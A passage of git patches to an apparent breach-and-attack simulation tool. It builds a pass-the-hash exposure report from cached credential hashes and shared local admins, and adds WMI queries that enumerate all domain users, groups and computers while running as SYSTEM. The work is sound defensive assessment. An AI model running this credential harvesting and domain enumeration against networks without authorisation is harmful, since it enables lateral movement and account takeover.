    Critical ServerHostnameDomainThreatening User CountThreatening Users
    {ip}{hostname}{domain}{count}
      """ + + for sid in pth.GetThreateningUsersByVictim(m): + print """
    • {username}
    • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + print """
    """ print "

    Cached Passwords

    " From f7556b09306ca1705f94681a2ce7857a11b2c591 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 15:57:44 +0300 Subject: [PATCH 057/243] fix --- monkey_island/cc/resources/pthmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index ade484ea7..59fa15832 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -826,7 +826,7 @@ class PassTheHashMap(object): @cache def GetNonCritialServers(self): - return self.machines - self.GetCritialServers() + return set(self.machines) - self.GetCritialServers() @cache def GetThreateningUsersByVictim(self, victim): From 5692d1dc86aa3091b91e19a25b4a11f174a454ee Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:19:58 +0300 Subject: [PATCH 058/243] add dns service to critical services --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 59fa15832..62cc348af 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -206,7 +206,7 @@ class Machine(object): @cache def GetCriticalServicesInstalled(self): def IsNameOfCriticalService(name): - services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer") + services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns") services = map(str.lower, services) if not name: @@ -899,7 +899,7 @@ def main(): print """""" print """""" - + print "

    Cached Passwords

    " print "

    On how many machines each secret is cached (possible attacker count)?

    " From ebda00b333af697538d48eb3387a7ac433ca971d Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:28:29 +0300 Subject: [PATCH 059/243] add list of critical services installed --- monkey_island/cc/resources/pthmap.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 62cc348af..44c621977 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -867,11 +867,17 @@ def main(): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) print """""" - print """""" + print """""" for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + + print """""" + print """""" print """
    Critical ServerHostnameDomainThreatening User CountThreatening Users
    Critical ServerHostnameDomainCritical Services InstalledThreatening User CountThreatening Users
    {ip}{hostname}{domain}{count}
      """ + for service_name in m.GetCriticalServicesInstalled(): + print """
    • {service_name}
    • """.format(service_name=service_name) + print """
      """ for sid in pth.GetThreateningUsersByVictim(m): @@ -887,11 +893,17 @@ def main(): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) print """""" - print """""" + print """""" for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + + print """""" + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) print """""" + print """""".format(count=count) + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) print """""" + print """""".format(count=count) + print """""" print """
      Critical ServerHostnameDomainThreatening User CountThreatening Users
      Critical ServerHostnameDomainCritical Services InstalledThreatening User CountThreatening Users
      {ip}{hostname}{domain}{count}
        """ + for service_name in m.GetCriticalServicesInstalled(): + print """
      • {service_name}
      • """.format(service_name=service_name) + print """
        """ for sid in pth.GetThreateningUsersByVictim(m): From d59e464578b50c36f53412f095f44998d8c773fb Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:44:43 +0300 Subject: [PATCH 060/243] only take running services --- monkey_island/cc/resources/pthmap.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 44c621977..daa52e8dd 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -214,9 +214,10 @@ class Machine(object): name = name.lower() - for ser in services: - if ser in name: - return True + return name in services + #for ser in services: + # if ser in name: + # return True return False @@ -239,6 +240,9 @@ class Machine(object): if not IsNameOfCriticalService(service_name): continue + + if eval(service["State"]) != "Running": + continue found.append(service_name) From b49ba7526f8bb619773616d96160e78b38f2805d Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:48:42 +0300 Subject: [PATCH 061/243] fix --- monkey_island/cc/resources/pthmap.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index daa52e8dd..8a65f3197 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -875,13 +875,15 @@ def main(): for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue - print """
      {ip}{hostname}{domain}{count}
      {ip}{hostname}{domain}
        """ for service_name in m.GetCriticalServicesInstalled(): print """
      • {service_name}
      • """.format(service_name=service_name) print """
      {count}
        """ for sid in pth.GetThreateningUsersByVictim(m): @@ -901,13 +903,15 @@ def main(): for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue - print """
      {ip}{hostname}{domain}{count}
      {ip}{hostname}{domain}
        """ for service_name in m.GetCriticalServicesInstalled(): print """
      • {service_name}
      • """.format(service_name=service_name) print """
      {count}
        """ for sid in pth.GetThreateningUsersByVictim(m): From 2e3401f285ce01eaa2dca7582519d27feabc78a9 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:51:07 +0300 Subject: [PATCH 062/243] fix --- monkey_island/cc/resources/pthmap.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 8a65f3197..93af154d7 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -899,16 +899,12 @@ def main(): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) print """""" - print """""" + print """""" for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) - print """""" print """""".format(count=count) From d83dad727dbedf70ddfd7bade362bb3d9f04c289 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:53:48 +0300 Subject: [PATCH 063/243] remove secret from display --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 93af154d7..0393939cf 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -852,11 +852,11 @@ def main(): dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) print """
        Critical ServerHostnameDomainCritical Services InstalledThreatening User CountThreatening Users
        Critical ServerHostnameDomainThreatening User CountThreatening Users
        {ip}{hostname}{domain}
          """ - for service_name in m.GetCriticalServicesInstalled(): - print """
        • {service_name}
        • """.format(service_name=service_name) - print """
        {count}
        """ - print """""" + print """""" for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 1: continue - print """""".format(secret=secret, count=count) + print """""".format(secret=secret, count=count) print """""" print """
        SecretUser CountUsers That Share This Password
        User CountUsers That Share This Password
        {secret}{count}
        {count}
          """ for sid in pth.GetSidsBySecret(secret): print """
        • {username}
        • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) From 99ee46c38a3efcb17a69c12379db133b315e8ab1 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 17:48:21 +0300 Subject: [PATCH 064/243] add unique local admin --- monkey_island/cc/resources/pthmap.py | 39 ++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 0393939cf..d7934663c 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -841,6 +841,18 @@ class PassTheHashMap(object): return threatening_users + @cache + def GetSharedAdmins(self, m): + shared_admins = set() + + for other in pth.machines: + if m == other: + continue + + shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) + + return shared_admins + def main(): pth = PassTheHashMap() @@ -863,8 +875,35 @@ def main(): print """
        """ + + print "

        Local Admin Uniqueness

        " + print "

        We argue that each machine should have it's own distinct set of local admins

        " + dups = dict(map(lambda x: (x, len(pth.GetSharedAdmins(x))), pth.machines)) + print """""" + print """""" + for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue + + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + + print """""" + + print """""".format(count=count) + + print """""" + print """
        IpHostnameDomainCritical Services InstalledShared User CountShared Users
        {ip}{hostname}{domain}
          """ + for service_name in m.GetCriticalServicesInstalled(): + print """
        • {service_name}
        • """.format(service_name=service_name) + print """
        {count}
          """ + + for sid in pth.GetThreateningUsersByVictim(m): + print """
        • {username}
        • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + print """
        """ + print "

        Strong Users That Threat Critical Servers

        " print "

        Administrators of critical servers that we could find thier secret cached somewhere

        " From 0025d242d71b73da5ed3813c8fb18fd68cc0dcb8 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 17:50:38 +0300 Subject: [PATCH 065/243] fix --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index d7934663c..3b1607ce7 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -845,7 +845,7 @@ class PassTheHashMap(object): def GetSharedAdmins(self, m): shared_admins = set() - for other in pth.machines: + for other in self.machines: if m == other: continue @@ -883,7 +883,7 @@ def main(): print """""" print """""" - for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): + for m, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue From 8ab880340f7e379542c137a6333928ea90236112 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 17:58:15 +0300 Subject: [PATCH 066/243] don't count DomainAdmins as shared admins --- monkey_island/cc/resources/pthmap.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 3b1607ce7..f3e9e93be 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -465,7 +465,7 @@ class Machine(object): domain_admins = set() for dc in DCs: - domain_admins |= dc.GetLocalAdminSids() + domain_admins |= dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")) return domain_admins @@ -851,6 +851,7 @@ class PassTheHashMap(object): shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) + shared_admins -= m.GetDomainAdminsOfMachine() return shared_admins def main(): From 9594fab1a29f1517bbd5c6bd9267b0bc2090be52 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 18:15:10 +0300 Subject: [PATCH 067/243] shared users seems to work --- monkey_island/cc/resources/pthmap.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f3e9e93be..67ed3e23d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -48,6 +48,9 @@ def cache(foo): if type(o) in (int, float, str, unicode): return o + elif type(o) in (type(None),): + return "___None___" + elif type(o) in (list, tuple, set): hashed = tuple([hash(x) for x in o]) @@ -465,7 +468,7 @@ class Machine(object): domain_admins = set() for dc in DCs: - domain_admins |= dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")) + domain_admins |= set(dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")).keys()) return domain_admins @@ -899,7 +902,7 @@ def main(): print """""" From 1d25ba90856019381ae2734c740229039ccb3fa7 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 18:40:11 +0300 Subject: [PATCH 068/243] check SidType everywhere to make sure we don't have type errors --- monkey_island/cc/resources/pthmap.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 67ed3e23d..400919d50 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -39,6 +39,16 @@ DsRole_RoleMemberServer = 3 DsRole_RoleBackupDomainController = 4 DsRole_RolePrimaryDomainController = 5 +SidTypeUser = 1 +SidTypeGroup = 2 +SidTypeDomain = 3 +SidTypeAlias = 4 +SidTypeWellKnownGroup = 5 +SidTypeDeletedAccount = 6 +SidTypeInvalid = 7 +SidTypeUnknown = 8 +SidTypeComputer = 9 + def myntlm(x): hash = hashlib.new('md4', x.encode('utf-16le')).digest() return str(binascii.hexlify(hash)) @@ -162,6 +172,9 @@ class Machine(object): for user in doc["data"]["Win32_UserAccount"]: if eval(user["Name"]) != username: continue + + if eval(user["SIDType"]) != SidTypeUser: + continue return eval(user["SID"]) @@ -190,6 +203,9 @@ class Machine(object): for user in doc["data"]["Win32_UserAccount"]: if eval(user["SID"]) != sid: continue + + if eval(user["SIDType"]) != SidTypeUser: + continue return { "Domain": eval(user["Domain"]), "Username": eval(user["Name"]), @@ -280,6 +296,9 @@ class Machine(object): if eval(group["Name"]) != group_name: continue + if eval(group["SIDType"]) != SidTypeGroup: + continue + return eval(group["SID"]) return None @@ -293,10 +312,16 @@ class Machine(object): for group_user in doc["data"]["Win32_GroupUser"]: if eval(group_user["GroupComponent"]["SID"]) != sid: continue + + if eval(group_user["GroupComponent"]["SIDType"]) != SidTypeGroup: + continue if "PartComponent" not in group_user.keys(): continue + if eval(group_user["PartComponent"]["SIDType"]) != SidTypeUser: + continue + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) return users @@ -335,6 +360,9 @@ class Machine(object): SIDs = set() for user in doc["data"]["Win32_UserAccount"]: + if eval(user["SIDType"]) != SidTypeUser: + continue + SIDs.add(eval(user["SID"])) return SIDs From 72fa6bbd684810ef78881d0f912688833fe3b2cb Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 18:42:30 +0300 Subject: [PATCH 069/243] no need to eval SidType --- monkey_island/cc/resources/pthmap.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 400919d50..fd882a6c6 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -173,7 +173,7 @@ class Machine(object): if eval(user["Name"]) != username: continue - if eval(user["SIDType"]) != SidTypeUser: + if user["SIDType"] != SidTypeUser: continue return eval(user["SID"]) @@ -204,7 +204,7 @@ class Machine(object): if eval(user["SID"]) != sid: continue - if eval(user["SIDType"]) != SidTypeUser: + if user["SIDType"] != SidTypeUser: continue return { "Domain": eval(user["Domain"]), @@ -296,7 +296,7 @@ class Machine(object): if eval(group["Name"]) != group_name: continue - if eval(group["SIDType"]) != SidTypeGroup: + if group["SIDType"] != SidTypeGroup: continue return eval(group["SID"]) @@ -313,13 +313,13 @@ class Machine(object): if eval(group_user["GroupComponent"]["SID"]) != sid: continue - if eval(group_user["GroupComponent"]["SIDType"]) != SidTypeGroup: + if group_user["GroupComponent"]["SIDType"] != SidTypeGroup: continue if "PartComponent" not in group_user.keys(): continue - if eval(group_user["PartComponent"]["SIDType"]) != SidTypeUser: + if group_user["PartComponent"]["SIDType"] != SidTypeUser: continue users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) @@ -360,7 +360,7 @@ class Machine(object): SIDs = set() for user in doc["data"]["Win32_UserAccount"]: - if eval(user["SIDType"]) != SidTypeUser: + if user["SIDType"] != SidTypeUser: continue SIDs.add(eval(user["SID"])) From 4c1d0bfff540b78506bd99e39974dda8ee911554 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 15:40:38 +0300 Subject: [PATCH 070/243] add ldap wmi queries --- .../system_info/windows_info_collector.py | 56 +++++++++++++++++-- 1 file changed, 51 insertions(+), 5 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index bee391ae8..9e5a77e84 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -5,6 +5,7 @@ import traceback import sys sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import wmi +import win32com import _winreg from mimikatz_collector import MimikatzCollector @@ -27,6 +28,30 @@ WMI_CLASSES = set(["Win32_OperatingSystem", #"Win32_Process", ]) +WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", + "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", + "DS_objectSid", "DS_objectClass", "DS_memberOf", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", + "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", + "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), + + "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", + "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", + "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), + + "ds_copmuter": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", + "DS_adminDisplayName", "DS_badPasswordTime", + "DS_badPwdCount", "DS_cn", "DS_distinguishedName", + "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", + "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", + "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", + "DS_whenChanged", "DS_whenCreated"), + } + + def fix_obj_for_mongo(o): if type(o) == dict: return dict([(k, fix_obj_for_mongo(v)) for k, v in o.iteritems()]) @@ -43,7 +68,23 @@ def fix_obj_for_mongo(o): elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: return fix_wmi_obj_for_mongo(o) + + elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch: + try: + # objectSid property of ds_user is problematic and need thie special treatment. + # ISWbemObjectEx interface. Class Uint8Array ? + if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": + return o.Value + except: + pass + try: + return o.GetObjectText_() + except: + pass + + return repr(o) + else: return repr(o) @@ -83,7 +124,6 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() - self.wmi = None def get_info(self): """ @@ -117,12 +157,18 @@ class WindowsInfoCollector(InfoCollector): for wmi_class_name in WMI_CLASSES: self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) - def get_wmi_class(self, class_name): - if not self.wmi: - self.wmi = wmi.WMI() + for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): + self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) + + def get_wmi_class(self, class_name, moniker="//./root/civ2", properties=None): + _wmi = wmi.WMI(moniker=moniker) try: - wmi_class = getattr(self.wmi, class_name)() + if not properties: + wmi_class = getattr(_wmi, class_name)() + else: + wmi_class = getattr(_wmi, class_name)(properties) + except wmi.x_wmi: #LOG.error("Error getting wmi class '%s'" % (class_name, )) #LOG.error(traceback.format_exc()) From 0ca804d4e3aac821885a715a3e85c31f4f402107 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 15:44:05 +0300 Subject: [PATCH 071/243] add comment --- infection_monkey/system_info/windows_info_collector.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 9e5a77e84..033389b2e 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -28,6 +28,11 @@ WMI_CLASSES = set(["Win32_OperatingSystem", #"Win32_Process", ]) +# These wmi queries are able to return data about all the users & machines in the domain. +# For these queries to work, the monkey shohuld be run on a domain machine and +# +# monkey should run as *** SYSTEM *** !!! +# WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", "DS_objectSid", "DS_objectClass", "DS_memberOf", From 404da6e6d6f1c2f6846e191d61d1e748799f4d29 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 15:48:53 +0300 Subject: [PATCH 072/243] typo --- infection_monkey/system_info/windows_info_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 033389b2e..8a42265a1 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -165,7 +165,7 @@ class WindowsInfoCollector(InfoCollector): for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) - def get_wmi_class(self, class_name, moniker="//./root/civ2", properties=None): + def get_wmi_class(self, class_name, moniker="//./root/cimv2", properties=None): _wmi = wmi.WMI(moniker=moniker) try: From 588387a26360159e57e18b2b78578bb8cc8bc5ce Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 16:12:51 +0300 Subject: [PATCH 073/243] typo --- infection_monkey/system_info/windows_info_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 8a42265a1..0d0ae6804 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -45,7 +45,7 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), - "ds_copmuter": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", + "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", "DS_adminDisplayName", "DS_badPasswordTime", "DS_badPwdCount", "DS_cn", "DS_distinguishedName", "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", From 7af6e6473ccee829b95a60a7dedf834333316b24 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 17:05:33 +0300 Subject: [PATCH 074/243] Handle the Win32_GroupUser missing PartCompenent issue --- infection_monkey/system_info/windows_info_collector.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 0d0ae6804..e9e7f71fd 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -100,7 +100,13 @@ def fix_wmi_obj_for_mongo(o): try: value = getattr(o, prop) except wmi.x_wmi: - continue + # This happens in Win32_GroupUser when the user is a domain user. + # For some reason, the wmi query for PartComponent fails. This table + # is actually contains references to Win32_UserAccount and Win32_Group. + # so instead of reading the content to the Win32_UserAccount, we store + # only the id of the row in that table, and get all the other information + # from that table while analyzing the data. + value = o.properties[prop].value row[prop] = fix_obj_for_mongo(value) From e672e26f71043f38cb6492db3a0b9bfa6a57f18c Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 17:25:46 +0300 Subject: [PATCH 075/243] handle the PartCoponent issue in the report --- monkey_island/cc/resources/pthmap.py | 27 +++++++++++++++++++++++---- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index fd882a6c6..daf2dab60 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -166,7 +166,7 @@ class Machine(object): return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) @cache - def GetSidByUsername(self, username): + def GetSidByUsername(self, username, domain=None): doc = self.latest_system_info for user in doc["data"]["Win32_UserAccount"]: @@ -175,6 +175,9 @@ class Machine(object): if user["SIDType"] != SidTypeUser: continue + + if domain and user["Domain"] != domain: + continue return eval(user["SID"]) @@ -319,10 +322,26 @@ class Machine(object): if "PartComponent" not in group_user.keys(): continue - if group_user["PartComponent"]["SIDType"] != SidTypeUser: - continue + if type(group_user["PartComponent"]) in (str, unicode): + # PartComponent is an id to Win32_UserAccount table + + wmi_id = group_user["PartComponent"] + + if "cimv2:Win32_UserAccount" not in wmi_id: + continue + + # u'\\\\WIN-BFA01FFQFLS\\root\\cimv2:Win32_UserAccount.Domain="MYDOMAIN",Name="WIN-BFA01FFQFLS$"' + username = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] + domain = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-1] + + sid = self.GetSidByUsername(username, domain) + users[sid] = username + + else: + if group_user["PartComponent"]["SIDType"] != SidTypeUser: + continue - users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) return users From b54eb893307cd2592c3c79af627f9d821c082793 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 11:10:32 +0300 Subject: [PATCH 076/243] Add 'Two machines should not share any local admin.' report --- monkey_island/cc/resources/pthmap.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index daf2dab60..af2688f56 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -49,6 +49,9 @@ SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 +def is_group_sid_type(type): + return type in (SidTypeGroup, SidTypeAlias, SidTypeWellKnownGroup) + def myntlm(x): hash = hashlib.new('md4', x.encode('utf-16le')).digest() return str(binascii.hexlify(hash)) @@ -298,8 +301,8 @@ class Machine(object): for group in doc["data"]["Win32_Group"]: if eval(group["Name"]) != group_name: continue - - if group["SIDType"] != SidTypeGroup: + + if not is_group_sid_type(group["SIDType"]): continue return eval(group["SID"]) @@ -316,7 +319,7 @@ class Machine(object): if eval(group_user["GroupComponent"]["SID"]) != sid: continue - if group_user["GroupComponent"]["SIDType"] != SidTypeGroup: + if not is_group_sid_type(group_user["GroupComponent"]["SIDType"]): continue if "PartComponent" not in group_user.keys(): From bad90d35c1d0e71366de50a509f4641d2c510acd Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 12:55:50 +0300 Subject: [PATCH 077/243] FATAL bugfix in cache, better find sid by username --- monkey_island/cc/resources/pthmap.py | 32 ++++++++++++++++++++-------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index af2688f56..a53277e5d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -59,7 +59,7 @@ def myntlm(x): def cache(foo): def hash(o): if type(o) in (int, float, str, unicode): - return o + return repr(o) elif type(o) in (type(None),): return "___None___" @@ -605,7 +605,7 @@ class PassTheHashMap(object): @cache def GenerateEdgesBySid(self): for attacker in self.vertices: - cached = Machine(attacker).GetCachedSids() + cached = self.GetCachedSids(Machine(attacker)) for victim in self.vertices: if attacker == victim: @@ -885,12 +885,31 @@ class PassTheHashMap(object): def GetNonCritialServers(self): return set(self.machines) - self.GetCritialServers() + @cache + def GetCachedSids(self, m): + sids = set() + tmp = m.GetCachedSids() + + for sid in tmp: + if sid.startswith("__USERNAME__"): + + s = 